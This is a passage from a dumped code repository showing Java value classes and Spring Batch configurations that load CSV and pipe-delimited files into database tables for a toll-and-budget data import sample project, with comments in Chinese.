    "content": "package com.xncoding.trans.modules.common.vo;\n\nimport com.xncoding.trans.modules.common.anno.TableName;\n\nimport java.math.BigDecimal;\nimport java.sql.Timestamp;\n\n/**\n * BscTollItem\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/6\n */\n@TableName(\"NT_BSC_TOLLITEM\")\npublic class BscTollItem {\n    private String F_ID;\n    private String F_CANTONID;\n    private String F_CODE;\n    private String F_NAME;\n    private String F_MEMCODE;\n    private String F_UNICODE;\n    private String F_UNIT;\n    private String F_ISRNGSTD;\n    private String F_APRLEVEL;\n    private String F_ISSHARE;\n    private String F_SHAREMODE;\n    private String F_ENDCANTONID;\n    private String F_FUNDSORT;\n    private String F_TOLLSORT;\n    private String F_STARTDATE;\n    private String F_ENDDATE;\n    private String F_TAX;\n    private String F_ISPUB;\n    private String F_ALLOWADD;\n    private String F_MEMO;\n    private String F_LEVEL;\n    private String F_END;\n    private String F_SHAREDIREC;\n    private String F_HISTORYID;\n    private String F_STATUS;\n    private String F_VERSION;\n    private String F_ISSTD;\n    private Timestamp F_EDITTIME;\n    private String F_PLATFORM_ID;\n    private String F_ISENTERPRISES;\n    private String F_ISCLEAR;\n    private String F_PARENTID;\n\n    public String getF_ID() {\n        return F_ID;\n    }\n\n    public void setF_ID(String f_ID) {\n        F_ID = f_ID;\n    }\n\n    public String getF_CANTONID() {\n        return F_CANTONID;\n    }\n\n    public void setF_CANTONID(String f_CANTONID) {\n        F_CANTONID = f_CANTONID;\n    }\n\n    public String getF_CODE() {\n        return F_CODE;\n    }\n\n    public void setF_CODE(String f_CODE) {\n        F_CODE = f_CODE;\n    }\n\n    public String getF_NAME() {\n        return F_NAME;\n    }\n\n    public void setF_NAME(String f_NAME) {\n        F_NAME = f_NAME;\n    }\n\n    public String getF_MEMCODE() {\n        return F_MEMCODE;\n    }\n\n    public void setF_MEMCODE(String f_MEMCODE) {\n        F_MEMCODE = f_MEMCODE;\n    }\n\n    public String getF_UNICODE() {\n        return F_UNICODE;\n    }\n\n    public void setF_UNICODE(String f_UNICODE) {\n        F_UNICODE = f_UNICODE;\n    }\n\n    public String getF_UNIT() {\n        return F_UNIT;\n    }\n\n    public void setF_UNIT(String f_UNIT) {\n        F_UNIT = f_UNIT;\n    }\n\n    public String getF_ISRNGSTD() {\n        return F_ISRNGSTD;\n    }\n\n    public void setF_ISRNGSTD(String f_ISRNGSTD) {\n        F_ISRNGSTD = f_ISRNGSTD;\n    }\n\n    public String getF_APRLEVEL() {\n        return F_APRLEVEL;\n    }\n\n    public void setF_APRLEVEL(String f_APRLEVEL) {\n        F_APRLEVEL = f_APRLEVEL;\n    }\n\n    public String getF_ISSHARE() {\n        return F_ISSHARE;\n    }\n\n    public void setF_ISSHARE(String f_ISSHARE) {\n        F_ISSHARE = f_ISSHARE;\n    }\n\n    public String getF_SHAREMODE() {\n        return F_SHAREMODE;\n    }\n\n    public void setF_SHAREMODE(String f_SHAREMODE) {\n        F_SHAREMODE = f_SHAREMODE;\n    }\n\n    public String getF_ENDCANTONID() {\n        return F_ENDCANTONID;\n    }\n\n    public void setF_ENDCANTONID(String f_ENDCANTONID) {\n        F_ENDCANTONID = f_ENDCANTONID;\n    }\n\n    public String getF_FUNDSORT() {\n        return F_FUNDSORT;\n    }\n\n    public void setF_FUNDSORT(String f_FUNDSORT) {\n        F_FUNDSORT = f_FUNDSORT;\n    }\n\n    public String getF_TOLLSORT() {\n        return F_TOLLSORT;\n    }\n\n    public void setF_TOLLSORT(String f_TOLLSORT) {\n        F_TOLLSORT = f_TOLLSORT;\n    }\n\n    public String getF_STARTDATE() {\n        return F_STARTDATE;\n    }\n\n    public void setF_STARTDATE(String f_STARTDATE) {\n        F_STARTDATE = f_STARTDATE;\n    }\n\n    public String getF_ENDDATE() {\n        return F_ENDDATE;\n    }\n\n    public void setF_ENDDATE(String f_ENDDATE) {\n        F_ENDDATE = f_ENDDATE;\n    }\n\n    public String getF_TAX() {\n        return F_TAX;\n    }\n\n    public void setF_TAX(String f_TAX) {\n        F_TAX = f_TAX;\n    }\n\n    public String getF_ISPUB() {\n        return F_ISPUB;\n    }\n\n    public void setF_ISPUB(String f_ISPUB) {\n        F_ISPUB = f_ISPUB;\n    }\n\n    public String getF_ALLOWADD() {\n        return F_ALLOWADD;\n    }\n\n    public void setF_ALLOWADD(String f_ALLOWADD) {\n        F_ALLOWADD = f_ALLOWADD;\n    }\n\n    public String getF_MEMO() {\n        return F_MEMO;\n    }\n\n    public void setF_MEMO(String f_MEMO) {\n        F_MEMO = f_MEMO;\n    }\n\n    public String getF_LEVEL() {\n        return F_LEVEL;\n    }\n\n    public void setF_LEVEL(String f_LEVEL) {\n        F_LEVEL = f_LEVEL;\n    }\n\n    public String getF_END() {\n        return F_END;\n    }\n\n    public void setF_END(String f_END) {\n        F_END = f_END;\n    }\n\n    public String getF_SHAREDIREC() {\n        return F_SHAREDIREC;\n    }\n\n    public void setF_SHAREDIREC(String f_SHAREDIREC) {\n        F_SHAREDIREC = f_SHAREDIREC;\n    }\n\n    public String getF_HISTORYID() {\n        return F_HISTORYID;\n    }\n\n    public void setF_HISTORYID(String f_HISTORYID) {\n        F_HISTORYID = f_HISTORYID;\n    }\n\n    public String getF_STATUS() {\n        return F_STATUS;\n    }\n\n    public void setF_STATUS(String f_STATUS) {\n        F_STATUS = f_STATUS;\n    }\n\n    public String getF_VERSION() {\n        return F_VERSION;\n    }\n\n    public void setF_VERSION(String f_VERSION) {\n        F_VERSION = f_VERSION;\n    }\n\n    public String getF_ISSTD() {\n        return F_ISSTD;\n    }\n\n    public void setF_ISSTD(String f_ISSTD) {\n        F_ISSTD = f_ISSTD;\n    }\n\n    public Timestamp getF_EDITTIME() {\n        return F_EDITTIME;\n    }\n\n    public void setF_EDITTIME(Timestamp f_EDITTIME) {\n        F_EDITTIME = f_EDITTIME;\n    }\n\n    public String getF_PLATFORM_ID() {\n        return F_PLATFORM_ID;\n    }\n\n    public void setF_PLATFORM_ID(String f_PLATFORM_ID) {\n        F_PLATFORM_ID = f_PLATFORM_ID;\n    }\n\n    public String getF_ISENTERPRISES() {\n        return F_ISENTERPRISES;\n    }\n\n    public void setF_ISENTERPRISES(String f_ISENTERPRISES) {\n        F_ISENTERPRISES = f_ISENTERPRISES;\n    }\n\n    public String getF_ISCLEAR() {\n        return F_ISCLEAR;\n    }\n\n    public void setF_ISCLEAR(String f_ISCLEAR) {\n        F_ISCLEAR = f_ISCLEAR;\n    }\n\n    public String getF_PARENTID() {\n        return F_PARENTID;\n    }\n\n    public void setF_PARENTID(String f_PARENTID) {\n        F_PARENTID = f_PARENTID;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/modules/common/vo/BscTollSpecialShare.java",
    "content": "package com.xncoding.trans.modules.common.vo;\n\nimport com.xncoding.trans.modules.common.anno.TableName;\n\nimport java.math.BigDecimal;\n\n/**\n * BscTollSpecialShare\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/6\n */\n@TableName(\"NT_BSC_TOLLSPECIALSHARE\")\npublic class BscTollSpecialShare {\n    private String F_ID;\n    private String F_SUBID;\n    private String F_CANTONID;\n    private String F_OFFICEID;\n    private String F_TOLLID;\n    private Integer F_ORDER;\n    private BigDecimal F_SHARE;\n    private String F_ISRATION;\n    private String F_INCANTONID;\n    private String F_INOFFICEID;\n    private Integer F_INACCOUNTTYPE;\n    private String F_INACCOUNTID;\n    private String F_STARTDATE;\n    private String F_ENDDATE;\n    private String F_MEMO;\n    private String F_STATUS;\n    private String F_ISAUDIT;\n    private String F_AUDITER;\n    private String F_AUDITTIME;\n    private String F_VERSION;\n    private String F_BUDGETCODE;\n\n    public String getF_ID() {\n        return F_ID;\n    }\n\n    public void setF_ID(String f_ID) {\n        F_ID = f_ID;\n    }\n\n    public String getF_SUBID() {\n        return F_SUBID;\n    }\n\n    public void setF_SUBID(String f_SUBID) {\n        F_SUBID = f_SUBID;\n    }\n\n    public String getF_CANTONID() {\n        return F_CANTONID;\n    }\n\n    public void setF_CANTONID(String f_CANTONID) {\n        F_CANTONID = f_CANTONID;\n    }\n\n    public String getF_OFFICEID() {\n        return F_OFFICEID;\n    }\n\n    public void setF_OFFICEID(String f_OFFICEID) {\n        F_OFFICEID = f_OFFICEID;\n    }\n\n    public String getF_TOLLID() {\n        return F_TOLLID;\n    }\n\n    public void setF_TOLLID(String f_TOLLID) {\n        F_TOLLID = f_TOLLID;\n    }\n\n    public Integer getF_ORDER() {\n        return F_ORDER;\n    }\n\n    public void setF_ORDER(Integer f_ORDER) {\n        F_ORDER = f_ORDER;\n    }\n\n    public BigDecimal getF_SHARE() {\n        return F_SHARE;\n    }\n\n    public void setF_SHARE(BigDecimal f_SHARE) {\n        F_SHARE = f_SHARE;\n    }\n\n    public String getF_ISRATION() {\n        return F_ISRATION;\n    }\n\n    public void setF_ISRATION(String f_ISRATION) {\n        F_ISRATION = f_ISRATION;\n    }\n\n    public String getF_INCANTONID() {\n        return F_INCANTONID;\n    }\n\n    public void setF_INCANTONID(String f_INCANTONID) {\n        F_INCANTONID = f_INCANTONID;\n    }\n\n    public String getF_INOFFICEID() {\n        return F_INOFFICEID;\n    }\n\n    public void setF_INOFFICEID(String f_INOFFICEID) {\n        F_INOFFICEID = f_INOFFICEID;\n    }\n\n    public Integer getF_INACCOUNTTYPE() {\n        return F_INACCOUNTTYPE;\n    }\n\n    public void setF_INACCOUNTTYPE(Integer f_INACCOUNTTYPE) {\n        F_INACCOUNTTYPE = f_INACCOUNTTYPE;\n    }\n\n    public String getF_INACCOUNTID() {\n        return F_INACCOUNTID;\n    }\n\n    public void setF_INACCOUNTID(String f_INACCOUNTID) {\n        F_INACCOUNTID = f_INACCOUNTID;\n    }\n\n    public String getF_STARTDATE() {\n        return F_STARTDATE;\n    }\n\n    public void setF_STARTDATE(String f_STARTDATE) {\n        F_STARTDATE = f_STARTDATE;\n    }\n\n    public String getF_ENDDATE() {\n        return F_ENDDATE;\n    }\n\n    public void setF_ENDDATE(String f_ENDDATE) {\n        F_ENDDATE = f_ENDDATE;\n    }\n\n    public String getF_MEMO() {\n        return F_MEMO;\n    }\n\n    public void setF_MEMO(String f_MEMO) {\n        F_MEMO = f_MEMO;\n    }\n\n    public String getF_STATUS() {\n        return F_STATUS;\n    }\n\n    public void setF_STATUS(String f_STATUS) {\n        F_STATUS = f_STATUS;\n    }\n\n    public String getF_ISAUDIT() {\n        return F_ISAUDIT;\n    }\n\n    public void setF_ISAUDIT(String f_ISAUDIT) {\n        F_ISAUDIT = f_ISAUDIT;\n    }\n\n    public String getF_AUDITER() {\n        return F_AUDITER;\n    }\n\n    public void setF_AUDITER(String f_AUDITER) {\n        F_AUDITER = f_AUDITER;\n    }\n\n    public String getF_AUDITTIME() {\n        return F_AUDITTIME;\n    }\n\n    public void setF_AUDITTIME(String f_AUDITTIME) {\n        F_AUDITTIME = f_AUDITTIME;\n    }\n\n    public String getF_VERSION() {\n        return F_VERSION;\n    }\n\n    public void setF_VERSION(String f_VERSION) {\n        F_VERSION = f_VERSION;\n    }\n\n    public String getF_BUDGETCODE() {\n        return F_BUDGETCODE;\n    }\n\n    public void setF_BUDGETCODE(String f_BUDGETCODE) {\n        F_BUDGETCODE = f_BUDGETCODE;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/modules/vtoll/BudgetVtoll.java",
    "content": "package com.xncoding.trans.modules.vtoll;\n\nimport javax.validation.constraints.Size;\n\n/**\n * BudgetVtoll\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/3\n */\npublic class BudgetVtoll {\n    private String id;\n    private String year;\n    private String tollid;\n    private String budgetid;\n    private String cbudgetid;\n    private String version;\n    /**\n     * 使用JSR-303注解来校验数据\n     */\n    @Size(max = 100)\n    private String auditmsg;\n    private String trialstatus;\n    private String firauditer;\n    private String firaudittime;\n    private String finauditer;\n    private String finaudittime;\n    private String edittime;\n    private String startdate;\n    private String enddate;\n\n    public String getId() {\n        return id;\n    }\n\n    public void setId(String id) {\n        this.id = id;\n    }\n\n    public String getYear() {\n        return year;\n    }\n\n    public void setYear(String year) {\n        this.year = year;\n    }\n\n    public String getTollid() {\n        return tollid;\n    }\n\n    public void setTollid(String tollid) {\n        this.tollid = tollid;\n    }\n\n    public String getBudgetid() {\n        return budgetid;\n    }\n\n    public void setBudgetid(String budgetid) {\n        this.budgetid = budgetid;\n    }\n\n    public String getCbudgetid() {\n        return cbudgetid;\n    }\n\n    public void setCbudgetid(String cbudgetid) {\n        this.cbudgetid = cbudgetid;\n    }\n\n    public String getVersion() {\n        return version;\n    }\n\n    public void setVersion(String version) {\n        this.version = version;\n    }\n\n    public String getAuditmsg() {\n        return auditmsg;\n    }\n\n    public void setAuditmsg(String auditmsg) {\n        this.auditmsg = auditmsg;\n    }\n\n    public String getTrialstatus() {\n        return trialstatus;\n    }\n\n    public void setTrialstatus(String trialstatus) {\n        this.trialstatus = trialstatus;\n    }\n\n    public String getFirauditer() {\n        return firauditer;\n    }\n\n    public void setFirauditer(String firauditer) {\n        this.firauditer = firauditer;\n    }\n\n    public String getFiraudittime() {\n        return firaudittime;\n    }\n\n    public void setFiraudittime(String firaudittime) {\n        this.firaudittime = firaudittime;\n    }\n\n    public String getFinauditer() {\n        return finauditer;\n    }\n\n    public void setFinauditer(String finauditer) {\n        this.finauditer = finauditer;\n    }\n\n    public String getFinaudittime() {\n        return finaudittime;\n    }\n\n    public void setFinaudittime(String finaudittime) {\n        this.finaudittime = finaudittime;\n    }\n\n    public String getEdittime() {\n        return edittime;\n    }\n\n    public void setEdittime(String edittime) {\n        this.edittime = edittime;\n    }\n\n    public String getStartdate() {\n        return startdate;\n    }\n\n    public void setStartdate(String startdate) {\n        this.startdate = startdate;\n    }\n\n    public String getEnddate() {\n        return enddate;\n    }\n\n    public void setEnddate(String enddate) {\n        this.enddate = enddate;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/modules/vtoll/BudgetVtollConfig.java",
    "content": "package com.xncoding.trans.modules.vtoll;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.xncoding.trans.modules.MyBeanValidator;\nimport com.xncoding.trans.modules.MyJobListener;\nimport org.springframework.batch.core.Job;\nimport org.springframework.batch.core.Step;\nimport org.springframework.batch.core.configuration.annotation.JobBuilderFactory;\nimport org.springframework.batch.core.configuration.annotation.StepBuilderFactory;\nimport org.springframework.batch.core.configuration.annotation.StepScope;\nimport org.springframework.batch.core.launch.support.RunIdIncrementer;\nimport org.springframework.batch.item.ItemProcessor;\nimport org.springframework.batch.item.ItemReader;\nimport org.springframework.batch.item.ItemWriter;\nimport org.springframework.batch.item.ParseException;\nimport org.springframework.batch.item.database.BeanPropertyItemSqlParameterSourceProvider;\nimport org.springframework.batch.item.database.JdbcBatchItemWriter;\nimport org.springframework.batch.item.file.FlatFileItemReader;\nimport org.springframework.batch.item.file.mapping.BeanWrapperFieldSetMapper;\nimport org.springframework.batch.item.file.mapping.DefaultLineMapper;\nimport org.springframework.batch.item.file.transform.DelimitedLineTokenizer;\nimport org.springframework.batch.item.validator.ValidatingItemProcessor;\nimport org.springframework.batch.item.validator.ValidationException;\nimport org.springframework.batch.item.validator.Validator;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.core.io.FileSystemResource;\nimport org.springframework.core.task.SimpleAsyncTaskExecutor;\n\n/**\n * CsvBatchConfig\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/3\n */\n@Configuration\npublic class BudgetVtollConfig {\n    /**\n     * ItemReader定义,用来读取数据\n     * 1，使用FlatFileItemReader读取文件\n     * 2，使用FlatFileItemReader的setResource方法设置csv文件的路径\n     * 3，对此对cvs文件的数据和领域模型类做对应映射\n     *\n     * @return FlatFileItemReader\n     */\n    @Bean(name = \"vtollReader\")\n    @StepScope\n    public FlatFileItemReader<BudgetVtoll> reader(@Value(\"#{jobParameters['input.file.name']}\") String pathToFile) {\n        FlatFileItemReader<BudgetVtoll> reader = new FlatFileItemReader<>();\n//        reader.setResource(new ClassPathResource(pathToFile));\n        reader.setResource(new FileSystemResource(pathToFile));\n        reader.setLineMapper(new DefaultLineMapper<BudgetVtoll>() {\n            {\n                setLineTokenizer(new DelimitedLineTokenizer(\",\") {\n                    {\n                        setNames(new String[]{\n                                \"id\", \"year\", \"tollid\", \"budgetid\", \"cbudgetid\", \"version\", \"auditmsg\", \"trialstatus\",\n                                \"firauditer\", \"firaudittime\", \"finauditer\", \"finaudittime\", \"edittime\", \"startdate\", \"enddate\"\n                        });\n                    }\n                });\n                setFieldSetMapper(new BeanWrapperFieldSetMapper<BudgetVtoll>() {{\n                    setTargetType(BudgetVtoll.class);\n                }});\n            }\n        });\n        // 如果包含header，需要忽略掉\n        reader.setLinesToSkip(1);\n        return reader;\n    }\n\n    /**\n     * ItemProcessor定义，用来处理数据\n     *\n     * @return\n     */\n    @Bean(name = \"vtollProcessor\")\n    public ItemProcessor<BudgetVtoll, BudgetVtoll> processor() {\n        //使用我们自定义的ItemProcessor的实现CsvItemProcessor\n        ValidatingItemProcessor<BudgetVtoll> processor = new ValidatingItemProcessor<BudgetVtoll>() {\n            @Override\n            public BudgetVtoll process(BudgetVtoll item) throws ValidationException {\n                /*\n                 * 需要执行super.process(item)才会调用自定义校验器\n                 */\n                super.process(item);\n                /*\n                 * 对数据进行简单的处理和转换 todo\n                 */\n                return item;\n            }\n        };\n        //为processor指定校验器为CsvBeanValidator()\n        processor.setValidator(csvBeanValidator());\n        return processor;\n    }\n\n    /**\n     * ItemWriter定义，用来输出数据\n     * spring能让容器中已有的Bean以参数的形式注入，Spring Boot已经为我们定义了dataSource\n     *\n     * @param dataSource\n     * @return\n     */\n    @Bean(name = \"vtollWriter\")\n    public ItemWriter<BudgetVtoll> writer(DruidDataSource dataSource) {\n        JdbcBatchItemWriter<BudgetVtoll> writer = new JdbcBatchItemWriter<>();\n        //我们使用JDBC批处理的JdbcBatchItemWriter来写数据到数据库\n        writer.setItemSqlParameterSourceProvider(new BeanPropertyItemSqlParameterSourceProvider<>());\n\n        String sql = \"insert into nt_bsc_BudgetVtoll \" + \" (f_id,f_year,f_tollid,f_budgetid,f_cbudgetid,f_version,f_auditmsg,f_trialstatus,f_firauditer,f_firaudittime,f_finauditer,f_finaudittime,f_edittime,f_startdate,f_enddate) \"\n                + \" values(:id,:year,:tollid,:budgetid,:cbudgetid,:version,:auditmsg,:trialstatus,:firauditer,:firaudittime,:finauditer,:finaudittime,:edittime,:startdate,:enddate)\";\n        //在此设置要执行批处理的SQL语句\n        writer.setSql(sql);\n        writer.setDataSource(dataSource);\n        return writer;\n    }\n\n    /**\n     * Job定义，我们要实际执行的任务，包含一个或多个Step\n     *\n     * @param jobBuilderFactory\n     * @param s1\n     * @return\n     */\n    @Bean(name = \"vtollJob\")\n    public Job vtollJob(JobBuilderFactory jobBuilderFactory, @Qualifier(\"vtollStep1\") Step s1) {\n        return jobBuilderFactory.get(\"vtollJob\")\n                .incrementer(new RunIdIncrementer())\n                .flow(s1)//为Job指定Step\n                .end()\n                .listener(new MyJobListener())//绑定监听器csvJobListener\n                .build();\n    }\n\n    /**\n     * step步骤，包含ItemReader，ItemProcessor和ItemWriter\n     *\n     * @param stepBuilderFactory\n     * @param reader\n     * @param writer\n     * @param processor\n     * @return\n     */\n    @Bean(name = \"vtollStep1\")\n    public Step vtollStep1(StepBuilderFactory stepBuilderFactory,\n                           @Qualifier(\"vtollReader\") ItemReader<BudgetVtoll> reader,\n                           @Qualifier(\"vtollWriter\") ItemWriter<BudgetVtoll> writer,\n                           @Qualifier(\"vtollProcessor\") ItemProcessor<BudgetVtoll, BudgetVtoll> processor) {\n        return stepBuilderFactory\n                .get(\"vtollStep1\")\n                .<BudgetVtoll, BudgetVtoll>chunk(5000)//批处理每次提交5000条数据\n                .reader(reader)//给step绑定reader\n                .processor(processor)//给step绑定processor\n                .writer(writer)//给step绑定writer\n                .faultTolerant()\n                .retry(Exception.class)   // 重试\n                .noRetry(ParseException.class)\n                .retryLimit(1)           //每条记录重试一次\n                .skip(Exception.class)\n                .skipLimit(200)         //一共允许跳过200次异常\n//                .taskExecutor(new SimpleAsyncTaskExecutor()) //设置每个Job通过并发方式执行，一般来讲一个Job就让它串行完成的好\n//                .throttleLimit(10)        //并发任务数为 10,默认为4\n                .build();\n    }\n\n    @Bean\n    public Validator<BudgetVtoll> csvBeanValidator() {\n        return new MyBeanValidator<>();\n    }\n}\n\n\n\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/modules/zapp/App.java",
    "content": "package com.xncoding.trans.modules.zapp;\n\nimport com.xncoding.trans.modules.common.anno.TableName;\n\n/**\n * App\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/5\n */\n@TableName(\"Z_TEST_APP\")\npublic class App {\n    private int appid;\n    private String zname;\n    private String flag;\n\n    public int getAppid() {\n        return appid;\n    }\n\n    public void setAppid(int appid) {\n        this.appid = appid;\n    }\n\n    public String getZname() {\n        return zname;\n    }\n\n    public void setZname(String zname) {\n        this.zname = zname;\n    }\n\n    public String getFlag() {\n        return flag;\n    }\n\n    public void setFlag(String flag) {\n        this.flag = flag;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/modules/zapp/AppConfig.java",
    "content": "package com.xncoding.trans.modules.zapp;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.xncoding.trans.modules.MyBeanValidator;\nimport com.xncoding.trans.modules.MyJobListener;\nimport org.springframework.batch.core.Job;\nimport org.springframework.batch.core.Step;\nimport org.springframework.batch.core.configuration.annotation.JobBuilderFactory;\nimport org.springframework.batch.core.configuration.annotation.StepBuilderFactory;\nimport org.springframework.batch.core.configuration.annotation.StepScope;\nimport org.springframework.batch.core.launch.support.RunIdIncrementer;\nimport org.springframework.batch.item.ItemProcessor;\nimport org.springframework.batch.item.ItemReader;\nimport org.springframework.batch.item.ItemWriter;\nimport org.springframework.batch.item.ParseException;\nimport org.springframework.batch.item.database.BeanPropertyItemSqlParameterSourceProvider;\nimport org.springframework.batch.item.database.JdbcBatchItemWriter;\nimport org.springframework.batch.item.file.FlatFileItemReader;\nimport org.springframework.batch.item.file.mapping.BeanWrapperFieldSetMapper;\nimport org.springframework.batch.item.file.mapping.DefaultLineMapper;\nimport org.springframework.batch.item.file.transform.DelimitedLineTokenizer;\nimport org.springframework.batch.item.validator.ValidatingItemProcessor;\nimport org.springframework.batch.item.validator.ValidationException;\nimport org.springframework.batch.item.validator.Validator;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.core.io.FileSystemResource;\n\n/**\n * CsvBatchConfig\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/3\n */\n@Configuration\npublic class AppConfig {\n    /**\n     * ItemReader定义,用来读取数据\n     * 1，使用FlatFileItemReader读取文件\n     * 2，使用FlatFileItemReader的setResource方法设置csv文件的路径\n     * 3，对此对cvs文件的数据和领域模型类做对应映射\n     *\n     * @return FlatFileItemReader\n     */\n    @Bean(name = \"appReader\")\n    @StepScope\n    public FlatFileItemReader<App> reader(@Value(\"#{jobParameters['input.file.name']}\") String pathToFile) {\n        FlatFileItemReader<App> reader = new FlatFileItemReader<>();\n//        reader.setResource(new ClassPathResource(pathToFile));\n        reader.setResource(new FileSystemResource(pathToFile));\n        reader.setLineMapper(new DefaultLineMapper<App>() {\n            {\n                setLineTokenizer(new DelimitedLineTokenizer(\"|\") {\n                    {\n                        setNames(new String[]{\n                                \"appid\", \"zname\", \"flag\"\n                        });\n                    }\n                });\n                setFieldSetMapper(new BeanWrapperFieldSetMapper<App>() {{\n                    setTargetType(App.class);\n                }});\n            }\n        });\n        // 如果包含header，需要忽略掉\n        reader.setLinesToSkip(0);\n        return reader;\n    }\n\n    /**\n     * ItemProcessor定义，用来处理数据\n     *\n     * @return\n     */\n    @Bean(name = \"appProcessor\")\n    public ItemProcessor<App, App> processor() {\n        //使用我们自定义的ItemProcessor的实现CsvItemProcessor\n        ValidatingItemProcessor<App> processor = new ValidatingItemProcessor<App>() {\n            @Override\n            public App process(App item) throws ValidationException {\n                /*\n                 * 需要执行super.process(item)才会调用自定义校验器\n                 */\n                super.process(item);\n                /*\n                 * 对数据进行简单的处理和转换 todo\n                 */\n                return item;\n            }\n        };\n        //为processor指定校验器为CsvBeanValidator()\n        processor.setValidator(csvBeanValidator());\n        return processor;\n    }\n\n    /**\n     * ItemWriter定义，用来输出数据\n     * spring能让容器中已有的Bean以参数的形式注入，Spring Boot已经为我们定义了dataSource\n     *\n     * @param dataSource\n     * @return\n     */\n    @Bean(name = \"appWriter\")\n    public ItemWriter<App> writer(DruidDataSource dataSource) {\n        JdbcBatchItemWriter<App> writer = new JdbcBatchItemWriter<>();\n        //我们使用JDBC批处理的JdbcBatchItemWriter来写数据到数据库\n        writer.setItemSqlParameterSourceProvider(new BeanPropertyItemSqlParameterSourceProvider<>());\n\n        String sql = \"insert into z_test_App (appid, zname, flag) values(:appid, :zname, :flag)\";\n        //在此设置要执行批处理的SQL语句\n        writer.setSql(sql);\n        writer.setDataSource(dataSource);\n        return writer;\n    }\n\n    /**\n     * Job定义，我们要实际执行的任务，包含一个或多个Step\n     *\n     * @param jobBuilderFactory\n     * @param s1\n     * @return\n     */\n    @Bean(name = \"zappJob\")\n    public Job zappJob(JobBuilderFactory jobBuilderFactory, @Qualifier(\"zappStep1\") Step s1) {\n        return jobBuilderFactory.get(\"zappJob\")\n                .incrementer(new RunIdIncrementer())\n                .flow(s1)//为Job指定Step\n                .end()\n                .listener(new MyJobListener())//绑定监听器csvJobListener\n                .build();\n    }\n\n    /**\n     * step步骤，包含ItemReader，ItemProcessor和ItemWriter\n     *\n     * @param stepBuilderFactory\n     * @param reader\n     * @param writer\n     * @param processor\n     * @return\n     */\n    @Bean(name = \"zappStep1\")\n    public Step zappStep1(StepBuilderFactory stepBuilderFactory,\n                          @Qualifier(\"appReader\") ItemReader<App> reader,\n                          @Qualifier(\"appWriter\") ItemWriter<App> writer,\n                          @Qualifier(\"appProcessor\") ItemProcessor<App, App> processor) {\n        return stepBuilderFactory\n                .get(\"zappStep1\")\n                .<App, App>chunk(5000)//批处理每次提交5000条数据\n                .reader(reader)//给step绑定reader\n                .processor(processor)//给step绑定processor\n                .writer(writer)//给step绑定writer\n                .faultTolerant()\n                .retry(Exception.class)   // 重试\n                .noRetry(ParseException.class)\n                .retryLimit(1)           //每条记录重试一次\n                .skip(Exception.class)\n                .skipLimit(200)         //一共允许跳过200次异常\n//                .taskExecutor(new SimpleAsyncTaskExecutor()) //设置每个Job通过并发方式执行，一般来讲一个Job就让它串行完成的好\n//                .throttleLimit(10)        //并发任务数为 10,默认为4\n                .build();\n    }\n\n    @Bean\n    public Validator<App> csvBeanValidator() {\n        return new MyBeanValidator<>();\n    }\n}\n\n\n\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/modules/zlog/Log.java",
    "content": "package com.xncoding.trans.modules.zlog;\n\n/**\n * Log\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/5\n */\npublic class Log {\n    private int logid;\n    private String msg;\n    private String logtime;\n\n    public int getLogid() {\n        return logid;\n    }\n\n    public void setLogid(int logid) {\n        this.logid = logid;\n    }\n\n    public String getMsg() {\n        return msg;\n    }\n\n    public void setMsg(String msg) {\n        this.msg = msg;\n    }\n\n    public String getLogtime() {\n        return logtime;\n    }\n\n    public void setLogtime(String logtime) {\n        this.logtime = logtime;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/modules/zlog/LogConfig.java",
    "content": "package com.xncoding.trans.modules.zlog;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.xncoding.trans.modules.MyBeanValidator;\nimport com.xncoding.trans.modules.MyJobListener;\nimport org.springframework.batch.core.Job;\nimport org.springframework.batch.core.Step;\nimport org.springframework.batch.core.configuration.annotation.JobBuilderFactory;\nimport org.springframework.batch.core.configuration.annotation.StepBuilderFactory;\nimport org.springframework.batch.core.configuration.annotation.StepScope;\nimport org.springframework.batch.core.launch.support.RunIdIncrementer;\nimport org.springframework.batch.item.ItemProcessor;\nimport org.springframework.batch.item.ItemReader;\nimport org.springframework.batch.item.ItemWriter;\nimport org.springframework.batch.item.ParseException;\nimport org.springframework.batch.item.database.BeanPropertyItemSqlParameterSourceProvider;\nimport org.springframework.batch.item.database.JdbcBatchItemWriter;\nimport org.springframework.batch.item.file.FlatFileItemReader;\nimport org.springframework.batch.item.file.mapping.BeanWrapperFieldSetMapper;\nimport org.springframework.batch.item.file.mapping.DefaultLineMapper;\nimport org.springframework.batch.item.file.transform.DelimitedLineTokenizer;\nimport org.springframework.batch.item.validator.ValidatingItemProcessor;\nimport org.springframework.batch.item.validator.ValidationException;\nimport org.springframework.batch.item.validator.Validator;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.core.io.FileSystemResource;\n\n/**\n * CsvBatchConfig\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/3\n */\n@Configuration\npublic class LogConfig {\n    